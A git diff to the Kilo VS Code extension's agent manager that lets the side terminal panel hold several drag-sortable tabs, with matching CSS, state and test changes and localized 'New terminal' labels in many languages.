3f210bb7cb..437ac4bd85 100644 --- a/packages/kilo-vscode/tests/visual-regression.spec.mts +++ b/packages/kilo-vscode/tests/visual-regression.spec.mts @@ -75,9 +75,12 @@ async function settle(page: Page) { // Spinner animation captures at an indeterminate frame, causing flaky diffs. // Permission dock config-preloaded has non-deterministic toggle rendering. // Sandboxing rows can settle at different scroll heights after settings context updates. +// Side terminal tabs mount live xterm instances whose websocket error text +// lands at indeterminate times. const SKIP = new Set([ "agentmanager--worktree-item-busy", "agentmanager--full-screen-diff-agent-edit-scroll", + "agentmanager--side-terminal-panel-tabs", "composite-webview--permission-dock-config-preloaded", "settings--sandboxing-allowlist", "settings--sandboxing-panel", diff --git a/packages/kilo-vscode/tests/visual-regression.spec.ts b/packages/kilo-vscode/tests/visual-regression.spec.ts index 3f210bb7cb..437ac4bd85 100644 --- a/packages/kilo-vscode/tests/visual-regression.spec.ts +++ b/packages/kilo-vscode/tests/visual-regression.spec.ts @@ -75,9 +75,12 @@ async function settle(page: Page) { // Spinner animation captures at an indeterminate frame, causing flaky diffs. // Permission dock config-preloaded has non-deterministic toggle rendering. // Sandboxing rows can settle at different scroll heights after settings context updates. +// Side terminal tabs mount live xterm instances whose websocket error text +// lands at indeterminate times. const SKIP = new Set([ "agentmanager--worktree-item-busy", "agentmanager--full-screen-diff-agent-edit-scroll", + "agentmanager--side-terminal-panel-tabs", "composite-webview--permission-dock-config-preloaded", "settings--sandboxing-allowlist", "settings--sandboxing-panel", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx index 2274560f54..7f1773ba89 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/AgentManagerApp.tsx @@ -1833,9 +1833,6 @@ const AgentManagerContent: Component = () => { postMessage: (msg) => vscode.postMessage(msg as never), onRemove: freezeTabs, onShowSide: showSideTerminal, - onHideSide: () => { - if (sidePanel() === "terminal") setSidePanel(null) - }, getSelection: selection, LOCAL, REVIEW_TAB_ID, @@ -1844,7 +1841,7 @@ const AgentManagerContent: Component = () => { const sideCtl = createSideTerminal({ handlers: termHandlers, visible: () => sidePanel() === "terminal", - focused: () => terms.focusedId() !== undefined && terms.focusedId() === terms.side()?.id, + focusedId: () => terms.sideFocusedId(), hide: () => setSidePanel(null), refocus: () => window.dispatchEvent(new Event("focusPrompt")), postMessage: (msg) => vscode.postMessage(msg as never), @@ -1933,8 +1930,8 @@ const AgentManagerContent: Component = () => { if (!id) return undefined if (id === REVIEW_TAB_ID) return { id, title: t("session.tab.review") } if (isTerminalTabId(id)) { - const term = terms.lookup().get(id) - return term ? { id, title: term.title } : undefined + const title = terms.title(id) + return title ? { id, title } : undefined } return activeTabs().find((s) => s.id === id) }) @@ -1962,8 +1959,8 @@ const AgentManagerContent: Component = () => { const closeActiveTab = () => { // A focused side terminal owns Cmd+W while its panel is visible — // closing a chat tab out from under the user's cursor would be - // surprising. - if (sidePanel() === "terminal" && terms.focusedId() && terms.focusedId() === terms.side()?.id) { + // surprising. Only that terminal dies; the panel keeps the rest. + if (sidePanel() === "terminal" && terms.sideFocusedId()) { if (sideCtl.close()) return } if (termHandlers.closeActive()) { @@ -2835,8 +2832,9 @@ const AgentManagerContent: Component = () => { state={terms} contextKey={terms.sideKey} visible={() => sidePanel() === "terminal"} - onClose={() => sideCtl.close()} - onStart={() => termHandlers.requestSide()} + onSelect={(id) => termHandlers.selectSide(id)} + onClose={(id) => termHandlers.closeSide(id)} + onStart={() => termHandlers.addSide()} /> diff --git a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css index 59499350a7..0cf28616bf 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css +++ b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css @@ -4618,6 +4618,59 @@ body.vscode-high-contrast-light { color: var(--text-weak); } +/* Side terminal tab strip — one row of tabs reusing the top bar's + .am-tab chrome, plus the "+" action. Height matches .am-diff-header + (32px: 4px padding + 24px content) so switching inspector modes does + not shift the panel chrome. The strip itself never scrolls; the tab + list does, so a narrow panel never pushes the "+" action out of view + (same split as .am-tab-list-wrap / .am-tab-add-wrap). */ +.am-side-terminal-tabs { + display: flex; + align-items: stretch; + height: 32px; + padding: 4px 4px 0; + gap: 2px; + flex-shrink: 0; + border-bottom: 1px solid var(--border-weak-base); + background: var(--surface-base); + position: relative; + z-index: 20; +} + +.am-side-terminal-tablist { + display: flex; + align-items: stretch; + gap: 2px; + flex: 1; + min-width: 0; + height: 100%; + overflow-x: auto; + overflow-y: hidden; + scrollbar-width: none; +} + +.am-side-terminal-tablist::-webkit-scrollbar { + display: none; +} + +/* Each tab shares the available width and shrinks with ellipsis. + touch-action unlocks pointer-based drag reordering (same as + .am-tab-sortable). */ +.am-side-terminal-tab { + display: flex; + flex: 0 1 140px; + min-width: 64px; + height: 100%; + touch-action: none; +} + +.am-side-terminal-add { + display: flex; + align-items: center; + flex-shrink: 0; + padding: 0 2px; +} + /* Hidden-but-alive side panel host: taken out of the flow so the chat reclaims the width, but kept painted so hidden side terminals keep streaming. Anchored to .am-detail-stack (position: relative). */ diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts index 79d4b74c51..a60114c78c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ar.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "علامة تبويب جديدة للمحطة الطرفية", "agentManager.terminal.ended": "انتهت المحطة الطرفية — أغلق علامة التبويب للإخفاء", "agentManager.terminal.connectionError": "خطأ في اتصال المحطة الطرفية", - "agentManager.terminal.kill": "إنهاء المحطة الطرفية", + "agentManager.terminal.add": "محطة طرفية جديدة", "agentManager.terminal.empty": "لا توجد محطة طرفية هنا بعد", "agentManager.terminal.start": "بدء المحطة الطرفية", "agentManager.terminal.destination": "اختر ما الذي يفتحه زر المحطة الطرفية", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts index 67cdb9bcf3..7e86e434ce 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/br.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Nova aba de terminal", "agentManager.terminal.ended": "terminal encerrado — feche a aba para dispensar", "agentManager.terminal.connectionError": "erro de conexão do terminal", - "agentManager.terminal.kill": "Encerrar terminal", + "agentManager.terminal.add": "Novo terminal", "agentManager.terminal.empty": "Ainda não há terminal aqui", "agentManager.terminal.start": "Iniciar terminal", "agentManager.terminal.destination": "Escolha o que o botão do terminal abre", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts index f6fddfd612..14950180d7 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/bs.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "Nova kartica terminala", "agentManager.terminal.ended": "terminal je završen — zatvorite karticu da biste odbacili", "agentManager.terminal.connectionError": "greška u vezi terminala", - "agentManager.terminal.kill": "Prekini terminal", + "agentManager.terminal.add": "Novi terminal", "agentManager.terminal.empty": "Ovdje još nema terminala", "agentManager.terminal.start": "Pokreni terminal", "agentManager.terminal.destination": "Odaberite šta otvara dugme terminala", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts index beb827b1c9..a3da1f713d 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/da.ts @@ -60,7 +60,7 @@ export const dict = { "agentManager.terminal.new": "Ny terminalfane", "agentManager.terminal.ended": "terminal afsluttet — luk fanen for at fjerne", "agentManager.terminal.connectionError": "forbindelsesfejl til terminal", - "agentManager.terminal.kill": "Afslut terminal", + "agentManager.terminal.add": "Ny terminal", "agentManager.terminal.empty": "Ingen terminal her endnu", "agentManager.terminal.start": "Start terminal", "agentManager.terminal.destination": "Vælg, hvad terminalknappen åbner", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts index b9691ecbaf..517fc1c8ca 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/de.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Neuer Terminal-Tab", "agentManager.terminal.ended": "Terminal beendet — Tab schließen zum Verwerfen", "agentManager.terminal.connectionError": "Verbindungsfehler im Terminal", - "agentManager.terminal.kill": "Terminal beenden", + "agentManager.terminal.add": "Neues Terminal", "agentManager.terminal.empty": "Hier ist noch kein Terminal", "agentManager.terminal.start": "Terminal starten", "agentManager.terminal.destination": "Auswählen, was die Terminal-Schaltfläche öffnet", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts index 236f18423a..a2f4005760 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/en.ts @@ -60,9 +60,9 @@ export const dict = { "agentManager.sidebarSearch.contexts": "LOCAL & WORKTREES", "agentManager.terminal.new": "New Terminal Tab", + "agentManager.terminal.add": "New terminal", "agentManager.terminal.ended": "terminal ended — close tab to dismiss", "agentManager.terminal.connectionError": "terminal connection error", - "agentManager.terminal.kill": "Kill terminal", "agentManager.terminal.empty": "No terminal here yet", "agentManager.terminal.start": "Start terminal", "agentManager.terminal.destination": "Choose what the terminal button opens", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts index a75de2ce0c..2ae86ad16c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/es.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Nueva pestaña de terminal", "agentManager.terminal.ended": "terminal finalizado — cierra la pestaña para descartar", "agentManager.terminal.connectionError": "error de conexión del terminal", - "agentManager.terminal.kill": "Terminar terminal", + "agentManager.terminal.add": "Nuevo terminal", "agentManager.terminal.empty": "Aún no hay ningún terminal aquí", "agentManager.terminal.start": "Iniciar terminal", "agentManager.terminal.destination": "Elegir qué abre el botón del terminal", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts index d8579c9cfd..5a5ee70727 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fr.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Nouvel onglet de terminal", "agentManager.terminal.ended": "terminal terminé — fermez l'onglet pour ignorer", "agentManager.terminal.connectionError": "erreur de connexion du terminal", - "agentManager.terminal.kill": "Tuer le terminal", + "agentManager.terminal.add": "Nouveau terminal", "agentManager.terminal.empty": "Aucun terminal ici pour l'instant", "agentManager.terminal.start": "Démarrer le terminal", "agentManager.terminal.destination": "Choisir ce que le bouton Terminal ouvre", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts index 1192807424..bf21da2ca1 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/it.ts @@ -63,7 +63,7 @@ export const dict = { "agentManager.terminal.new": "Nuova scheda terminale", "agentManager.terminal.ended": "terminale terminato - chiudi la scheda per nasconderlo", "agentManager.terminal.connectionError": "errore di connessione del terminale", - "agentManager.terminal.kill": "Termina terminale", + "agentManager.terminal.add": "Nuovo terminale", "agentManager.terminal.empty": "Qui non c'è ancora un terminale", "agentManager.terminal.start": "Avvia terminale", "agentManager.terminal.destination": "Scegli cosa apre il pulsante del terminale", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts index d855af8e15..938862acbf 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ja.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "新しいターミナルタブ", "agentManager.terminal.ended": "ターミナルが終了しました — タブを閉じて破棄", "agentManager.terminal.connectionError": "ターミナル接続エラー", - "agentManager.terminal.kill": "ターミナルを終了", + "agentManager.terminal.add": "新しいターミナル", "agentManager.terminal.empty": "ここにはまだターミナルがありません", "agentManager.terminal.start": "ターミナルを開始", "agentManager.terminal.destination": "ターミナルボタンで開く場所を選択", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts index ae87aaf993..50ff31564c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ko.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "새 터미널 탭", "agentManager.terminal.ended": "터미널 종료됨 — 탭을 닫아 해제", "agentManager.terminal.connectionError": "터미널 연결 오류", - "agentManager.terminal.kill": "터미널 종료", + "agentManager.terminal.add": "새 터미널", "agentManager.terminal.empty": "아직 여기에 터미널이 없습니다", "agentManager.terminal.start": "터미널 시작", "agentManager.terminal.destination": "터미널 버튼으로 열 위치 선택", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts index 1965204a47..d226afcb3d 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/nl.ts @@ -62,7 +62,7 @@ export const dict = { "agentManager.terminal.new": "Nieuw terminaltabblad", "agentManager.terminal.ended": "terminal beëindigd — sluit tabblad om te negeren", "agentManager.terminal.connectionError": "terminalverbindingsfout", - "agentManager.terminal.kill": "Terminal beëindigen", + "agentManager.terminal.add": "Nieuwe terminal", "agentManager.terminal.empty": "Hier is nog geen terminal", "agentManager.terminal.start": "Terminal starten", "agentManager.terminal.destination": "Kies wat de terminalknop opent", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts index 44efed03a5..c3541d8851 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/no.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "Ny terminalfane", "agentManager.terminal.ended": "terminal avsluttet — lukk fanen for å avvise", "agentManager.terminal.connectionError": "tilkoblingsfeil for terminal", - "agentManager.terminal.kill": "Avslutt terminal", + "agentManager.terminal.add": "Ny terminal", "agentManager.terminal.empty": "Ingen terminal her ennå", "agentManager.terminal.start": "Start terminal", "agentManager.terminal.destination": "Velg hva terminalknappen åpner", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts index 137bf34132..b7497bb817 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/pl.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Nowa karta terminala", "agentManager.terminal.ended": "terminal zakończony — zamknij kartę, aby zamknąć", "agentManager.terminal.connectionError": "błąd połączenia terminala", - "agentManager.terminal.kill": "Zakończ terminal", + "agentManager.terminal.add": "Nowy terminal", "agentManager.terminal.empty": "Nie ma tu jeszcze terminala", "agentManager.terminal.start": "Uruchom terminal", "agentManager.terminal.destination": "Wybierz, co otwiera przycisk terminala", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts index c0df2ab3c9..36b7e5de34 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/ru.ts @@ -59,7 +59,7 @@ export const dict = { "agentManager.terminal.new": "Новая вкладка терминала", "agentManager.terminal.ended": "терминал завершен — закройте вкладку, чтобы скрыть", "agentManager.terminal.connectionError": "ошибка подключения к терминалу", - "agentManager.terminal.kill": "Завершить терминал", + "agentManager.terminal.add": "Новый терминал", "agentManager.terminal.empty": "Здесь пока нет терминала", "agentManager.terminal.start": "Запустить терминал", "agentManager.terminal.destination": "Выберите, где будет открываться терминал", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts index 012b3776ba..73f78c3bd4 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/th.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "แท็บเทอร์มินัลใหม่", "agentManager.terminal.ended": "เทอร์มินัลสิ้นสุด — ปิดแท็บเพื่อยกเลิก", "agentManager.terminal.connectionError": "ข้อผิดพลาดการเชื่อมต่อเทอร์มินัล", - "agentManager.terminal.kill": "หยุดเทอร์มินัล", + "agentManager.terminal.add": "เทอร์มินัลใหม่", "agentManager.terminal.empty": "ยังไม่มีเทอร์มินัลที่นี่", "agentManager.terminal.start": "เริ่มเทอร์มินัล", "agentManager.terminal.destination": "เลือกว่าปุ่มเทอร์มินัลจะเปิดอะไร", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts index e18f88694b..58b55601af 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/tr.ts @@ -63,7 +63,7 @@ export const dict = { "agentManager.terminal.new": "Yeni Terminal Sekmesi", "agentManager.terminal.ended": "terminal sona erdi — kapatmak için sekmeyi kapatın", "agentManager.terminal.connectionError": "terminal bağlantı hatası", - "agentManager.terminal.kill": "Terminali sonlandır", + "agentManager.terminal.add": "Yeni terminal", "agentManager.terminal.empty": "Burada henüz terminal yok", "agentManager.terminal.start": "Terminali başlat", "agentManager.terminal.destination": "Terminal düğmesinin ne açacağını seçin", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts index 1c1c1cbf22..b039672b63 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/uk.ts @@ -63,7 +63,7 @@ export const dict = { "agentManager.terminal.new": "Нова вкладка термінала", "agentManager.terminal.ended": "термінал завершено — закрийте вкладку, щоб відхилити", "agentManager.terminal.connectionError": "помилка з'єднання термінала", - "agentManager.terminal.kill": "Завершити термінал", + "agentManager.terminal.add": "Новий термінал", "agentManager.terminal.empty": "Тут ще немає термінала", "agentManager.terminal.start": "Запустити термінал", "agentManager.terminal.destination": "Виберіть, що відкриватиме кнопка термінала", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts index 2e0c7f5568..5dcbff7b0c 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zh.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "新建终端标签页", "agentManager.terminal.ended": "终端已结束 — 关闭标签页以消除", "agentManager.terminal.connectionError": "终端连接错误", - "agentManager.terminal.kill": "终止终端", + "agentManager.terminal.add": "新建终端", "agentManager.terminal.empty": "此处尚无终端", "agentManager.terminal.start": "启动终端", "agentManager.terminal.destination": "选择终端按钮的打开目标", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts index e4403c5aaf..cb350d7366 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/zht.ts @@ -58,7 +58,7 @@ export const dict = { "agentManager.terminal.new": "新增終端分頁", "agentManager.terminal.ended": "終端已結束 — 關閉分頁以消除", "agentManager.terminal.connectionError": "終端連線錯誤", - "agentManager.terminal.kill": "終止終端機", + "agentManager.terminal.add": "新增終端機", "agentManager.terminal.empty": "此處尚無終端機", "agentManager.terminal.start": "啟動終端機", "agentManager.terminal.destination": "選擇終端機按鈕的開啟目標", diff --git a/packages/kilo-vscode/webview-ui/agent-manager/terminal/SideTerminalPanel.tsx b/packages/kilo-vscode/webview-ui/agent-manager/terminal/SideTerminalPanel.tsx index bf42185b83..517965d88d 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/terminal/SideTerminalPanel.tsx +++ b/packages/kilo-vscode/webview-ui/agent-manager/terminal/SideTerminalPanel.tsx @@ -3,22 +3,33 @@ * * Lives inside the shared `.am-diff-panel-wrapper` host next to the diff * and PR panels, so all three inspector modes share one resize handle - * and one width. The header intentionally reuses the `.am-diff-header` - * structure and metrics so switching modes does not shift the chrome. + * and one width. + * + * A context can own several side terminals. The header is a tab strip + * that reuses the top tab bar's `TerminalTabChrome` (same `am-tab*` + * structure, same X close button) plus a `+` action to add terminals. + * Tabs are drag-sortable via the same `@thisbeyond/solid-dnd` stack as + * the top tab bar; the order lives in the terminal state, so it is + * preserved across sidebar context switches for the webview's lifetime. + * The strip stays visible even when empty so the `+` action is always + * reachable. * * Visibility is opacity-based, never unmount: the xterm render loop * dies when its subtree leaves the paint tree (see `render.tsx`). */ import type { Accessor, Component } from "solid-js" -import { Show, createEffect } from "solid-js" -import { Icon } from "@kilocode/kilo-ui/icon" +import { For, Show, createEffect, createSignal } from "solid-js" +import { DragDropProvider, DragDropSensors, DragOverlay, SortableProvider, closestCenter } from "@thisbeyond/solid-dnd" +import type { DragEvent } from "@thisbeyond/solid-dnd" import { IconButton } from "@kilocode/kilo-ui/icon-button" import { Button } from "@kilocode/kilo-ui/button" import { Spinner } from "@kilocode/kilo-ui/spinner" import { Tooltip } from "@kilocode/kilo-ui/tooltip" import { useLanguage } from "../../src/context/language" +import { ConstrainDragYAxis, SortableTabContainer } from "../../src/components/chat/TabDnd" import { renderSideTerminalLayer } from "./render" +import { TerminalTabChrome } from "./SortableTerminalTab" import type { TerminalStateControls } from "./state" interface Props { @@ -27,9 +38,11 @@ interface Props { contextKey: Accessor /** True while the inspector is in terminal mode. */ visible: Accessor - /** Kill the terminal (or cancel its create) and hide. */ - onClose: () => void - /** Empty-state action: create a side terminal for this context. */ + /** Make a terminal the visible one in the strip. */ + onSelect: (terminalId: string) => void + /** Kill one terminal. */ + onClose: (terminalId: string) => void + /** Create a new side terminal for this context. */ onStart: () => void } @@ -39,8 +52,26 @@ export const SideTerminalPanel: Component = (props) => { createEffect(() => { panel.inert = !props.visible() }) - const side = () => props.state.side() - const pending = () => props.state.pendingSide(props.contextKey()) !== undefined + const [dragging, setDragging] = createSignal<{ id: string; width: number } | undefined>() + const sides = () => props.state.sidesForContext(props.contextKey()) + const ids = () => sides().map((term) => term.id) + const pending = () => props.state.pendingSide(props.contextKey()) + const onDragStart = (event: DragEvent) => { + const id = event.draggable?.id + if (typeof id !== "string") return + // Pin the overlay to the tab's width: the overlay container uses + // min-width, so a long OSC title would otherwise overflow it and + // shift the visual center off the cursor (the "drag offset" bug). + const width = event.draggable?.layout.width ?? event.draggable?.node.getBoundingClientRect().width + setDragging({ id, width }) + } + const onDragEnd = () => setDragging(undefined) + const onDragOver = (event: DragEvent) => { + const from = event.draggable?.id + const to = event.droppable?.id + if (typeof from !== "string" || typeof to !== "string") return + props.state.reorderSideDrag(props.contextKey(), from, to) + } return (
= (props) => { aria-label={t("agentManager.tab.terminal")} aria-hidden={!props.visible()} > -
-
- - {side()?.title ?? t("agentManager.tab.terminal")} -
-
- +
+ + + + {/* Scrollable tab list — mirrors the top bar's .am-tab-list split + so the "+" action never scrolls away. role="tablist" only + when tabs exist: axe aria-required-children rejects an empty + tablist (and non-tab children like the add button). */} +
0 ? "tablist" : undefined} + aria-label={sides().length > 0 ? t("agentManager.tab.terminal") : undefined} + > + + + {(term) => ( + + props.onSelect(term.id)} + onMiddleClick={(e: MouseEvent) => { + if (e.button !== 1) return + e.preventDefault() + e.stopPropagation() + props.onClose(term.id) + }} + onClose={(e: MouseEvent) => { + e.stopPropagation() + props.onClose(term.id) + }} + /> + + )} + + +
+ {/* Cursor-following clone of the dragged tab (same pattern as + the top tab bar). The overlay is what makes the in-list + original use solid-dnd's slot-compensated transform, so the + dragged tab tracks the cursor without a jump/offset. The + original stays dimmed in its slot via .am-tab-dragging. */} + + + {(tab) => ( +
+ {props.state.title(tab().id) ?? t("agentManager.tab.terminal")} +
+ )} +
+
+
+
+
{renderSideTerminalLayer({ state: props.state, contextKey: props.contextKey, visible: props.visible })} - +
{t("common.loading")}
- +
{t("agentManager.terminal.empty")}
) @@ -126,7 +129,8 @@ export function renderTerminalLayer(props: { state: TerminalStateControls }): JS * terminal stays mounted, visibility is toggled via `opacity` / * `pointer-events` / `inert` only. The layer is scoped to * `contextKey` — side terminals from other contexts stay composed in - * the background and never refit. + * the background and never refit — and within a context only the + * active strip tab's terminal is shown. */ export function renderSideTerminalLayer(props: { state: TerminalStateControls @@ -137,7 +141,10 @@ export function renderSideTerminalLayer(props: {
{(term) => { - const active = () => props.visible() && term.contextKey === props.contextKey() + const active = () => + props.visible() && + term.contextKey === props.contextKey() && + props.state.sideActiveFor(term.contextKey) === term.id return (
props.state.setFocusedId(focused ? term.id : undefined)} + onTitleChange={(title) => props.state.setTitle(term.id, title)} />
) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts b/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts index cf1c3587cf..d0420b9916 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/terminal/side.ts @@ -56,15 +56,15 @@ export function resolveVscodeTerminalRequest( interface Handlers { requestSide(): void - closeSide(): boolean + closeSide(terminalId: string): boolean } export interface SideTerminalDeps { handlers: Handlers /** True while the right-side inspector shows the terminal. */ visible: Accessor - /** True while the side terminal itself holds DOM focus. */ - focused: Accessor + /** Id of the side terminal holding DOM focus, if any. */ + focusedId: Accessor /** Leave terminal mode; the terminal stays alive in the background. */ hide: () => void /** Move focus back to the chat composer. */ @@ -96,7 +96,7 @@ export function createSideTerminal(deps: SideTerminalDeps) { const toggle = () => { if (deps.visible()) { - const was = deps.focused() + const was = deps.focusedId() !== undefined deps.hide() handoff(was) return @@ -104,12 +104,14 @@ export function createSideTerminal(deps: SideTerminalDeps) { deps.handlers.requestSide() } - /** Kill the current context's side terminal (or cancel its in-flight - * create) and hide the panel. */ + /** Kill the focused side terminal (Cmd/Ctrl+W). The panel stays open + * on the remaining terminals, or on the empty state when this was + * the last one. */ const close = (): boolean => { - const was = deps.focused() - const done = deps.handlers.closeSide() - if (done) handoff(was) + const id = deps.focusedId() + if (!id) return false + const done = deps.handlers.closeSide(id) + if (done) handoff(true) return done } diff --git a/packages/kilo-vscode/webview-ui/agent-manager/terminal/state.ts b/packages/kilo-vscode/webview-ui/agent-manager/terminal/state.ts index 3e9fba7af1..4dff179435 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/terminal/state.ts +++ b/packages/kilo-vscode/webview-ui/agent-manager/terminal/state.ts @@ -50,11 +50,9 @@ export interface TerminalFocusRequest { } /** A create request for a side terminal that has not been answered yet. - * `cancelled` is set when the user closes the panel while the PTY is - * still starting; the late `created` answer is then closed again. */ + * Multiple creates can be in flight for the same context at once. */ interface SideRequest { contextKey: string - cancelled: boolean } export interface TerminalStateControls { @@ -75,10 +73,14 @@ export interface TerminalStateControls { all: Accessor /** Every side terminal across every context (for the side-panel layer). */ sides: Accessor - /** The side terminal of the current context, if any. */ - side: Accessor - /** The side terminal of an arbitrary context, if any. */ - sideForContext(contextKey: string): TerminalTabStateWithContext | undefined + /** Every side terminal of the given context, in creation order. */ + sidesForContext(contextKey: string): TerminalTabStateWithContext[] + /** Id of the active side terminal for a context. */ + sideActiveFor(contextKey: string): string | undefined + /** Mark a side terminal as the visible one for its context. */ + setSideActive(contextKey: string, terminalId: string): void + /** Id of the side terminal holding DOM focus in the current context, if any. */ + sideFocusedId(): string | undefined /** Context key for the current sidebar selection, or `undefined` when nothing is selected. */ currentKey: Accessor /** Context key for the side panel: like `currentKey` but unassigned @@ -96,6 +98,13 @@ export interface TerminalStateControls { requestFocus(id: string): void /** True when the given remembered tab id points to a live terminal for the given selection. */ hasRemembered(selection: string | null, remembered: string | undefined): boolean + /** Live display title for a terminal: the OSC-provided title when the + * shell/program set one, otherwise the create-time title. */ + title(terminalId: string): string | undefined + /** Record an OSC title change for a terminal. Kept outside the + * terminal records so `` reference 